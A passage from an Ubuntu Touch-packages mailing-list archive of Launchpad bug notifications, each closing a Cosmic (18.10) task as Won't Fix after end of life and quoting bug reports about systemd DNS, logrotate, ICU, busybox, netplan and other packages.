  2 - libcurl3-gnutls (7.61.0-1ubuntu2.2 and others)
  3 - Be able to git clone from an Azure DevOps repository using a Personal 
Access Token
  4 - git operations fail to authenticate

  Thank you,
  Mark

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/curl/+bug/1805203/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1811471] Re: local resolver stub fails to handle multiple TCP dns queries

[Brian Murray]

Ubuntu 18.10 (Cosmic Cuttlefish) has reached end of life, so this bug
will not be fixed for that specific release.

** Changed in: resolvconf (Ubuntu Cosmic)
   Status: Triaged => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1811471

Title:
  local resolver stub fails to handle multiple TCP dns queries

Status in systemd:
  Fix Released
Status in resolvconf package in Ubuntu:
  Triaged
Status in systemd package in Ubuntu:
  Fix Released
Status in resolvconf source package in Bionic:
  Triaged
Status in systemd source package in Bionic:
  Fix Released
Status in resolvconf source package in Cosmic:
  Won't Fix
Status in systemd source package in Cosmic:
  Fix Released
Status in resolvconf source package in Disco:
  Won't Fix
Status in systemd source package in Disco:
  Fix Released

Bug description:
  [Impact]

  The systemd local 'stub' resolver handles all local DNS queries (by
  default configuration used in Ubuntu), and essentially proxies all
  requests to its configured upstream DNS resolvers.

  Most local DNS resolution by applications uses glibc's getaddrinfo()
  function.  This function is configured in various ways by the
  /etc/resolv.conf file, which tells glibc what nameserver/resolver to
  contact as well as how to talk to the name server.

  By default, glibc performs UDP DNS queries, with a single DNS query
  per UDP packet.  The UDP packet size is limited per DNS spec to 512
  bytes.  For some DNS lookups, a 512 byte UDP packet is not large
  enough to contain the entire response - for example, an A record
  lookup with a large number (e.g. 30) of A record addresses.  This
  number of A record entries is possible in some cases of load
  balancing.  When the DNS UDP response size is larger than 512 bytes,
  the server puts as much response as it can into the DNS UDP response,
  and marks the "trunacted" flag.  This lets glibc know that the DNS UDP
  packet did not contain the entire response for all the A records.

  When glibc sees a UDP response that is "trunacted", by default it
  ignores the contents of that response and issues a new DNS query,
  using TCP instead of UDP.  The TCP packet size has a higher size limit
  (though see bug 1804487 which is a bug in systemd's max-sizing of TCP
  DNS packets), and so *should* allow glibc to receive the entire DNS
  response.

  However, glibc issues DNS queries for both A and  records.  When
  it uses UDP, those DNS queries are separate (i.e. one UDP DNS packet
  with a single A query, and one UDP DNS packet with a single 
  query).  When glibc uses TCP, it puts both DNS queries into a single
  TCP DNS packet - the RFC refers to this as "pipelining"
  (https://tools.ietf.org/html/rfc7766#section-6.2.1.1) and states that
  clients SHOULD do this, and that servers MUST expect to receive
  pipelined queries and SHOULD respond to all of them.  (Technically
  pipelining can be separate DNS queries, one per TCP packet, but both
  using the same TCP connection - but the clear intention of pipelining
  is to improve TCP performance, and putting both DNS queries into a
  single TCP packet is clearly more performant than using separate TCP
  packets).

  Unfortunately, systemd's local stub resolver has only very basic
  support for TCP DNS, and it handles TCP DNS queries almost identically
  to UDP DNS queries - it reads the DNS query 2-byte header (containing
  the length of the query data), reads in the single DNS query data,
  performs lookup and sends a response to that DNS query, and closes the
  TCP connection.  It does not check for "pipelined" queries in the TCP
  connection.

  That would be bad enough, as glibc is (rightly) expecting a response
  to both its A and  queries; however what glibc gets is a TCP
  connection-reset error.  That is because the local systemd stub
  resolver has closed its TCP socket while input data was still pending
  (i.e. it never even read the second pipelined DNS query).  When the
  kernel sees unread input bytes in a TCP connection that is closed, it
  sends a TCP RST to the peer (i.e. glibc) and when the kernel sees the
  RST, it dumps all data in its socket buffer and passes the ECONNRESET
  error up to the application.  So glibc gets nothing besides a
  connection reset error.

  Note also that even if the systemd local stub resolver's socket
  flushes its input buffer before closing the TCP connection (which will
  avoid the TCP RST), glibc still expects responses to both its A and
   queries before systemd closes the TCP connection, and so a simple
  change to systemd to flush the input buffer is not enough to fix the
  bug (and would also not actually fix the bug since glibc would never
  get the  response).

  [Test Case]

  This can be reproduced on any system using a local systemd stub
  resolver, when using an application that uses getaddrinfo() 

[Touch-packages] [Bug 1814373] Re: storage / luks / dmsetup regressed (or got better) on ppc64le

[Brian Murray]

Ubuntu 18.10 (Cosmic Cuttlefish) has reached end of life, so this bug
will not be fixed for that specific release.

** Changed in: linux (Ubuntu Cosmic)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1814373

Title:
  storage / luks / dmsetup regressed (or got better) on ppc64le

Status in linux package in Ubuntu:
  Confirmed
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Xenial:
  Fix Released
Status in linux source package in Bionic:
  New
Status in systemd source package in Bionic:
  Fix Released
Status in linux source package in Cosmic:
  Won't Fix
Status in systemd source package in Cosmic:
  Fix Released
Status in linux source package in Disco:
  Won't Fix
Status in systemd source package in Disco:
  Fix Released
Status in linux source package in Eoan:
  Won't Fix
Status in systemd source package in Eoan:
  Won't Fix
Status in systemd package in Debian:
  Fix Released

Bug description:
  in disco proposed with new systemd and v4.19 kernel it appears that
  dmsetup / cryptsetup storage either got better or worse.

  Devices take very long to activate, and sometimes remain in use during
  test clean up.

  This leads to udisks autopkgtest failing on ppc64le and systemd's
  "storage" autopkgtest is also failing.

  I've tried to make ppc64le test more resilient, but it's still odd
  that it became unstable in disco, and used to be rock solid on
  ppc64le.

  --
  sru template for systemd upload:

  [impact]
  buffer overflow can cause memory corruption; this is seen in failed 
autopkgtests

  [test case]
  see comment 6

  [regression potential]
  the patch is minimal and clearly correct; however the regression potential is 
around invalid/corrupted keys read from the keyring.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1814373/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1827391] Re: Japanese era Reiwa SRU

[Brian Murray]

Ubuntu 18.10 (Cosmic Cuttlefish) has reached end of life, so this bug
will not be fixed for that specific release.

** Changed in: icu (Ubuntu Cosmic)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to icu in Ubuntu.
https://bugs.launchpad.net/bugs/1827391

Title:
  Japanese era  Reiwa SRU

Status in icu package in Ubuntu:
  Fix Released
Status in icu source package in Precise:
  Won't Fix
Status in icu source package in Trusty:
  Confirmed
Status in icu source package in Xenial:
  Confirmed
Status in icu source package in Bionic:
  Confirmed
Status in icu source package in Cosmic:
  Won't Fix
Status in icu source package in Disco:
  Won't Fix
Status in icu source package in Eoan:
  Fix Released
Status in icu package in Debian:
  Fix Released

Bug description:
  Japanese era  Reiwa SRU

  $ rmadison icu
  4.8.1.1-3ubuntu0.7 | precise-updates
  52.1-3ubuntu0.8| trusty-updates
  55.1-7ubuntu0.4| xenial-updates
  60.2-3ubuntu3  | bionic
  60.2-6ubuntu1  | cosmic
  63.1-6 | disco
  63.1-6 | eoan

  Note reported abi break / crash of chromium at

  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=927933

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/icu/+bug/1827391/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1644996] Re: logrotate config uses syslog group

[Brian Murray]

Ubuntu 18.10 (Cosmic Cuttlefish) has reached end of life, so this bug
will not be fixed for that specific release.

** Changed in: logrotate (Ubuntu Cosmic)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to logrotate in Ubuntu.
https://bugs.launchpad.net/bugs/1644996

Title:
  logrotate config uses syslog group

Status in logrotate package in Ubuntu:
  Fix Released
Status in logrotate source package in Bionic:
  Confirmed
Status in logrotate source package in Cosmic:
  Won't Fix

Bug description:
  The default logrotate config uses the "syslog" group.

  > # use the syslog group by default, since this is the owning group
  > # of /var/log/syslog.
  > su root syslog

  This is not correct anymore since 16.04, because:

  1. "syslog" group doesn't exist on a stock Ubuntu 16.04 system, it only gets 
installed via rsyslog
  2. The owning group is actually "adm".

  This results in logrotate terminating with the following error during
  cron.daily run:

  
  run-parts -v /etc/cron.daily
  run-parts: executing /etc/cron.daily/logrotate
  error: /etc/logrotate.conf:7 unknown group 'syslog'

  And can be fixed by changing syslog to adm group.

  This is not present when rsyslog is installed, but only because that package 
creates the syslog group. This is a common bug in lighter environments, like 
Docker, where syslog-ng is a common choice instead of rsyslog, like in this 
issue: 
  https://github.com/phusion/baseimage-docker/issues/338

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/logrotate/+bug/1644996/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1753572] Re: cpio in Busybox 1.27 ingnores "unsafe links"

[Brian Murray]

Ubuntu 18.10 (Cosmic Cuttlefish) has reached end of life, so this bug
will not be fixed for that specific release.

** Changed in: debirf (Ubuntu Cosmic)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to busybox in Ubuntu.
https://bugs.launchpad.net/bugs/1753572

Title:
  cpio in Busybox 1.27 ingnores "unsafe links"

Status in busybox package in Ubuntu:
  Fix Released
Status in debirf package in Ubuntu:
  Confirmed
Status in busybox source package in Bionic:
  Fix Released
Status in debirf source package in Bionic:
  Confirmed
Status in busybox source package in Cosmic:
  Fix Released
Status in debirf source package in Cosmic:
  Won't Fix

Bug description:
  Description:Ubuntu Bionic Beaver (development branch)
  Release:18.04

  busybox:
Installed: 1:1.27.2-2ubuntu3
Candidate: 1:1.27.2-2ubuntu3

  3) Expected my CPIO archive to be fully extracted with proper symlinks
  Command: unxz < /rootfs.cxz | cpio -i

  4) 'Unsafe' symlinks were ignored such as:

  sbin/init -> /lib/systemd/systemd

  With the broken 1.27 sbin/init does not get created at all and my
  debirf initrd fails to load/boot properly.

  1.22 from Xenial works.
  GNU Cpio also works.

  It looks like 1.28 adds an env var to override this behavior:

  libarchive: do not extract unsafe symlinks unless
  $EXTRACT_UNSAFE_SYMLINKS=1

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/busybox/+bug/1753572/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1787495] Re: no explanation for the events in the networkd-dispatcher manpage

[Brian Murray]

Ubuntu 18.10 (Cosmic Cuttlefish) has reached end of life, so this bug
will not be fixed for that specific release.

** Changed in: networkd-dispatcher (Ubuntu Cosmic)
   Status: In Progress => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1787495

Title:
  no explanation for the events in the networkd-dispatcher manpage

Status in networkd-dispatcher package in Ubuntu:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in networkd-dispatcher source package in Bionic:
  In Progress
Status in systemd source package in Bionic:
  Triaged
Status in networkd-dispatcher source package in Cosmic:
  Won't Fix
Status in systemd source package in Cosmic:
  Fix Released

Bug description:
  [Impact]
  networkd-dispatcher supports four hook directories:

  $ ls /usr/lib/networkd-dispatcher/
  dormant.d  no-carrier.d  off.d  routable.d
  $

  The manpage does not define what these hooks mean.  'routable' and
  'no-carrier' are self-explanatory, but it's not at all clear what
  'dormant' vs 'off' mean.  It's not at all clear what events one should
  expect to see as part of device bring-up.

  This needs to be better documented.

  [Test case]
  Check that it networkd-dispatcher(8) it's documented in networkctl(1), and 
that networkctl(1) documents it

  [Regression potential]
  If user updates networkd-dispatcher before systemd, they get the reference to 
networkctl(1) in networkd-dispatcher(8), but won't find any related text in 
there...

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/networkd-dispatcher/+bug/1787495/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1799251] Re: mount options for /run should be the same as initramfs tools

[Brian Murray]

Ubuntu 18.10 (Cosmic Cuttlefish) has reached end of life, so this bug
will not be fixed for that specific release.

** Changed in: systemd (Ubuntu Cosmic)
   Status: In Progress => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1799251

Title:
  mount options for /run should be the same as initramfs tools

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Xenial:
  New
Status in systemd source package in Bionic:
  New
Status in systemd source package in Cosmic:
  Won't Fix

Bug description:
  mount options for /run should be the same as initramfs tools

  [Impact]

   * /run is mounted with different options on initrd boots, and initrd-
  less boots. For consistency it should be the same

   * In particular, this causes overuse of RAM on hosts with dense
  deployment of containers. Specifically, runtime journald takes up at
  most 10% or /run, which is capped at 10% of ram, thus 1% of total RAM.
  However, on initrd-less boots (like lxd launch ubuntu-daily:foo), /run
  takes up all of RAM, and thus run-time journal is now capped at 10% of
  RAM. Which is really bad when one deploys more than 10 containers...

  [Test Case]

   * Check total RAM on the host with `free -h`
   * lxd launch ubuntu-daily:release
   * In that container check the size of /run with `df -h | grep '/run$'`
   * /run should roughly be 1/10th of the total RAM.

  [Regression Potential]

   * /run is meant to be small, and it is small on systems booted with
  initrd and everything works fine there. Reducing the default size of
  /run in the containers should not have averse impacts. The most
  notable change is that runtime journald is now capped 10x smaller in
  the containers, to the same size as on the hosts. If that is not
  enough, one should $ sudo mkdir /var/log/journal to have a larger
  persistent journal.

  [Other Info]
   
   * This issue got escalated as affecting production deployments in the 
Canonical datacentre.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1799251/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1804584] Re: LG screen reported as being a Goldstar one

[Brian Murray]

Ubuntu 18.10 (Cosmic Cuttlefish) has reached end of life, so this bug
will not be fixed for that specific release.

** Changed in: systemd (Ubuntu Cosmic)
   Status: In Progress => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1804584

Title:
  LG screen reported as being a Goldstar one

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  New
Status in systemd source package in Cosmic:
  Won't Fix
Status in systemd source package in Disco:
  Fix Released

Bug description:
  * Impact
  The GNOME configuration interface labels LG screens as being from Goldstar, 
that's because the hwdb has an outdate record for the brand and still its old 
name, that has been fixed upstream now with
  https://github.com/systemd/systemd/commit/c6d7a5e9

  * Test case
  - connect to a LG screen
  - log into an Ubuntu/GNOME session
  - open gnome-control-center display section

  -> the screen should be described as from LG and not from Goldstar

  * Regression potential
  It's just a name change in the hwdb data

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1804584/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1805358] Re: autopkgtest boot-and-services fails on many architectures very often since systemd/239-7ubuntu12

[Brian Murray]

Ubuntu 18.10 (Cosmic Cuttlefish) has reached end of life, so this bug
will not be fixed for that specific release.

** Changed in: systemd (Ubuntu Cosmic)
   Status: In Progress => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1805358

Title:
  autopkgtest boot-and-services fails on many architectures very often
  since systemd/239-7ubuntu12

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  New
Status in systemd source package in Cosmic:
  Won't Fix

Bug description:
  [Impact]

   * Boot and services autopkgtest case has become flakey, especially on
  ppc64el but other architectures too.

  [Test Case]

   * Check that boot-and-services passes more reliably

  [Regression Potential]

   * this is a test change only

  [Other Info]
   
   * gdm3 used to start reliably, in nested qemu, with dummy xorg, but it 
doesn't anymore. Thus stop testing gdm3 coming up as part of the systemd 
autopkgtest. Mostly, because in realisty it's not that interesting to see if 
gdm3 works with dummy xorg, as we mostly care about gdm3 working on bare-metal 
with proper graphics cards intel/amd/nvidia/etc.

  I appreciate that some old known issues on 'upstream' are fixed.
  But looking at the current tests I see that often on amd64 (2/3 and very 
often on ppc64le (4/4 since ubuntu12 and 11/11 before that version).

  Looking at the list of people hitting retry and the list of packages
  blocked that seems an issue that must be checked.

  See current head of tests at:
  amd64: http://autopkgtest.ubuntu.com/packages/s/systemd/disco/amd64
  ppc64el: http://autopkgtest.ubuntu.com/packages/s/systemd/disco/ppc64el

  One example log:
  
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-disco/disco/ppc64el/s/systemd/20181126_074048_cb8d2@/log.gz

  Example of the error that one can see in the log:
  test_no_failed (__main__.ServicesTest)
  No failed units ...  journal for failed service user@118.service 
---
  -- Logs begin at Tue 2018-10-30 09:54:39 UTC, end at Mon 2018-11-26 07:05:17 
UTC. --
  Nov 26 07:05:09 autopkgtest systemd[1]: Starting User Manager for UID 118...
  Nov 26 07:05:10 autopkgtest systemd[1292]: pam_unix(systemd-user:session): 
session opened for user gdm by (uid=0)
  Nov 26 07:05:10 autopkgtest systemd[1292]: Failed to fully start up daemon: 
Permission denied
  Nov 26 07:05:10 autopkgtest systemd[1]: user@118.service: Failed with result 
'protocol'.
  Nov 26 07:05:10 autopkgtest systemd[1]: Failed to start User Manager for UID 
118.
  FAIL

  ==
  FAIL: test_no_failed (__main__.ServicesTest)
  No failed units
  --
  Traceback (most recent call last):
    File 
"/tmp/autopkgtest.Xm5RBa/build.JSa/src/debian/tests/boot-and-services", line 
62, in test_no_failed
  self.assertEqual(failed, [])
  AssertionError: Lists differ: ['user@118.service loaded failed failed User 
Manager for UID 118'] != []

  First list contains 1 additional elements.
  First extra element 0:
  'user@118.service loaded failed failed User Manager for UID 118'

  - ['user@118.service loaded failed failed User Manager for UID 118']
  + []

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1805358/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1806347] Re: mask current unreliable tests in bionic and cosmic

[Brian Murray]

Ubuntu 18.10 (Cosmic Cuttlefish) has reached end of life, so this bug
will not be fixed for that specific release.

** Changed in: systemd (Ubuntu Cosmic)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1806347

Title:
  mask current unreliable tests in bionic and cosmic

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  New
Status in systemd source package in Cosmic:
  Won't Fix

Bug description:
  Hi,
  a recent SRU made me check the success rate of systemd autopkgtests.
  It looks grim atm:

  None of the fails look related to the actual uploads BTW

  Bionic:
  last 7 ppc64 - http://autopkgtest.ubuntu.com/packages/s/systemd/bionic/ppc64el
  last 7 s390x - http://autopkgtest.ubuntu.com/packages/s/systemd/bionic/s390x
  At least those with "last 7" of them is exactly since 
systemd/237-3ubuntu10.10 and only the "upstream" test is failing.

  last 26 amd64 - http://autopkgtest.ubuntu.com/packages/s/systemd/bionic/amd64
  last 12 i386 - http://autopkgtest.ubuntu.com/packages/s/systemd/bionic/i386
  If anything those fail since the last kernel update, but that isn't sure.

  last 80 armhf - http://autopkgtest.ubuntu.com/packages/s/systemd/bionic/armhf
  Here always "root-unittests" fails, maybe not container compatible?

  Cosmic:
  last ~40 ppc64 - 
http://autopkgtest.ubuntu.com/packages/s/systemd/cosmic/ppc64el
  In addition to the "upstream" fails seen in Bionic there are some gdm induced 
errors which we just fixed in 
https://git.launchpad.net/~ubuntu-core-dev/ubuntu/+source/systemd/commit/?id=3006fedda1d1ca3f04c5f593e8018bb6d1196025

  last 4 s390x - http://autopkgtest.ubuntu.com/packages/s/systemd/cosmic/s390x
  last 16 on amd64 - 
http://autopkgtest.ubuntu.com/packages/s/systemd/cosmic/amd64
  last 8 arm64 - http://autopkgtest.ubuntu.com/packages/s/systemd/cosmic/arm64
  last 4 i386 - http://autopkgtest.ubuntu.com/packages/s/systemd/cosmic/i386
  The tests that fail most of the time are "boot-smoke" and upstream"

  
  In general the test "upstream" fails most (amd64/s390x/ppc64).
  Maybe that one should be (partially) disabled on the next upload as the rest 
is at least semi reliable (doable with retries).

  The same applies for test "root-unittests" on armhf, please just skip
  that one and retain the rest.

  So maybe on the next systemd update those could be addressed or at
  least improved, but for now this is fake-blocking way too many SRUs -
  to lets add an all arch badtest for now.

  TL;DR on changes that I'd request for next systemd upload:
  - Bionic skip "upstream" test (unless you have the magic dust to make it good 
again)
  - Bionic skip root-unittest on armhf
  - Cosmic skip "upstream" test
  - Cosmic also implement gdm3 fix we just had in Disco
  - Cosmic skip boot-smoke test on arm64 & amd64

  
  I'm leaving this bug open to consider it on the next systemd upload as 
suggested.
  For now I see no other way than to propose an MP to force-badtest.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1806347/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1832042] Re: static ip= address configuration does not end up in netplan file

[Brian Murray]

Ubuntu 18.10 (Cosmic Cuttlefish) has reached end of life, so this bug
will not be fixed for that specific release.

** Changed in: initramfs-tools (Ubuntu Cosmic)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu.
https://bugs.launchpad.net/bugs/1832042

Title:
  static ip= address configuration does not end up in netplan file

Status in initramfs-tools package in Ubuntu:
  Fix Released
Status in initramfs-tools source package in Xenial:
  Confirmed
Status in initramfs-tools source package in Bionic:
  Confirmed
Status in initramfs-tools source package in Cosmic:
  Won't Fix
Status in initramfs-tools source package in Disco:
  Won't Fix
Status in initramfs-tools source package in Eoan:
  Fix Released

Bug description:
  static ip= address configuration does not end up in netplan file

  klibc ipconfig process ip=...:$proto and dumps the state into a file,
  which is then parsed to generate runtime netplan configs.

  For static ip configuration ipconfig parses $proto values "off" "none"
  "static" as the same PROTO_NONE and encodes it as PROTO="none" in the
  serialized state file.

  The function that dumps ip data (_declare_ip_info()) has keys only
  values for dhcp dhcp4 dhcp6 static. But not "none" (used by ipconfig)
  or "off" (as valid by the kernel).

  This means that netplan files generated in /run for static ip
  configuration are incomplete.

  Imho we should accept "off" "none" "static" as all valid PROTO
  settings for static ip configuration.

  [Impact]

   * `netplan apply` will not reapply static ip configuration as
  declared in ip= kernel cmdline.

  [Test Case]

   * boot with static ip configuration in the kernel cmdline, e.g.

ip=10.245.232.12::10.245.232.1:255.255.255.255:clound01:enc603:none

Check that /run/netplan/*.yaml contains addresses stanzas.

  [Regression Potential]

   * Runtime netplan configuration will now be more complete. Meaning
  that static ip addresses will now persist across `netplan apply` /
  downing, and reupping an interface. Whilst it was intended for static
  ip addresses to be there, it might be unexpected that they actually
  work properly now.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/1832042/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1602834] Re: obsolete conffiles not cleaned up on upgrade

[Brian Murray]

Ubuntu 18.10 (Cosmic Cuttlefish) has reached end of life, so this bug
will not be fixed for that specific release.

** Changed in: ufw (Ubuntu Cosmic)
   Status: Triaged => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ufw in Ubuntu.
https://bugs.launchpad.net/bugs/1602834

Title:
  obsolete conffiles not cleaned up on upgrade

Status in ufw package in Ubuntu:
  Fix Released
Status in ufw source package in Bionic:
  Triaged
Status in ufw source package in Cosmic:
  Won't Fix
Status in ufw source package in Disco:
  Fix Released

Bug description:
  Hi,

  the following conffile is marked as obsolete in my dpkg status db

   /etc/bash_completion.d/ufw 50de7ccdcddb779093156f133d9c0a5e obsolete

  Ufw now ships /usr/share/bash-completion/completions/ufw, so the
  conffile should be removed on upgrades.

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: ufw 0.35-0ubuntu2
  ProcVersionSignature: Ubuntu 4.4.0-28.47-generic 4.4.13
  Uname: Linux 4.4.0-28-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.1
  Architecture: amd64
  CurrentDesktop: Unity
  Date: Wed Jul 13 22:19:52 2016
  InstallationDate: Installed on 2011-11-10 (1706 days ago)
  InstallationMedia: Ubuntu 11.10 "Oneiric Ocelot" - Release amd64 (20111012)
  PackageArchitecture: all
  SourcePackage: ufw
  UpgradeStatus: Upgraded to xenial on 2016-04-21 (82 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ufw/+bug/1602834/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1726160] Re: On login, display rotates to wrong orientation [HP Pavilion]

[Brian Murray]

Ubuntu 18.10 (Cosmic Cuttlefish) has reached end of life, so this bug
will not be fixed for that specific release.

** Changed in: systemd (Ubuntu Cosmic)
   Status: Triaged => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1726160

Title:
  On login, display rotates to wrong orientation [HP Pavilion]

Status in IIO Sensor Proxy:
  Fix Released
Status in systemd:
  Fix Released
Status in iio-sensor-proxy package in Ubuntu:
  Invalid
Status in systemd package in Ubuntu:
  Fix Released
Status in iio-sensor-proxy source package in Bionic:
  Invalid
Status in systemd source package in Bionic:
  Triaged
Status in iio-sensor-proxy source package in Cosmic:
  Invalid
Status in systemd source package in Cosmic:
  Won't Fix
Status in iio-sensor-proxy source package in Disco:
  Invalid
Status in systemd source package in Disco:
  Fix Released

Bug description:
  I'm using a laptop, and on 17.04 the display always showed correctly,
  but after upgrading to 17.10,  when I log in the display rotates to
  the right (portrait), and I have to open a terminal and run 'xrandr -o
  1' to get it back to the correct (landscape) orientation. In previous
  versions 'xrandr -o 0' was landscape, and '1' was portrait the other
  way.

  ProblemType: Bug
  DistroRelease: Ubuntu 17.10
  Package: xorg 1:7.7+19ubuntu3
  ProcVersionSignature: Ubuntu 4.13.0-16.19-generic 4.13.4
  Uname: Linux 4.13.0-16-generic x86_64
  NonfreeKernelModules: nvidia_uvm nvidia
  .proc.driver.nvidia.gpus..01.00.0: Error: [Errno 21] Is a directory: 
'/proc/driver/nvidia/gpus/:01:00.0'
  .proc.driver.nvidia.registry: Binary: ""
  .proc.driver.nvidia.version:
   NVRM version: NVIDIA UNIX x86_64 Kernel Module  340.104  Thu Sep 14 17:13:13 
PDT 2017
   GCC version:  gcc version 7.2.0 (Ubuntu 7.2.0-8ubuntu3)
  .tmp.unity_support_test.0:
   
  ApportVersion: 2.20.7-0ubuntu3
  Architecture: amd64
  CompositorRunning: None
  CurrentDesktop: ubuntu:GNOME
  Date: Sun Oct 22 15:15:08 2017
  DistUpgraded: 2017-10-22 14:17:00,381 DEBUG icon theme changed, re-reading
  DistroCodename: artful
  DistroVariant: ubuntu
  DkmsStatus:
   bbswitch, 0.8, 4.10.0-37-generic, x86_64: installed
   bbswitch, 0.8, 4.13.0-16-generic, x86_64: installed
   nvidia-340, 340.104, 4.10.0-37-generic, x86_64: installed
   nvidia-340, 340.104, 4.13.0-16-generic, x86_64: installed
  ExtraDebuggingInterest: Yes
  GraphicsCard:
   NVIDIA Corporation GT216M [GeForce GT 230M] [10de:0a28] (rev a2) (prog-if 00 
[VGA controller])
 Subsystem: Hewlett-Packard Company GT216M [GeForce GT 230M] [103c:363c]
  InstallationDate: Installed on 2017-01-11 (284 days ago)
  InstallationMedia: Ubuntu 16.10 "Yakkety Yak" - Release amd64 (20161012.2)
  LightdmDisplayLog: (II) Server terminated successfully (0). Closing log file.
  MachineType: Hewlett-Packard HP Pavilion dv7 Notebook PC
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.13.0-16-generic 
root=/dev/mapper/ubuntu--vg-root ro quiet splash
  SourcePackage: xorg
  Symptom: display
  UpgradeStatus: Upgraded to artful on 2017-10-22 (0 days ago)
  dmi.bios.date: 10/05/2010
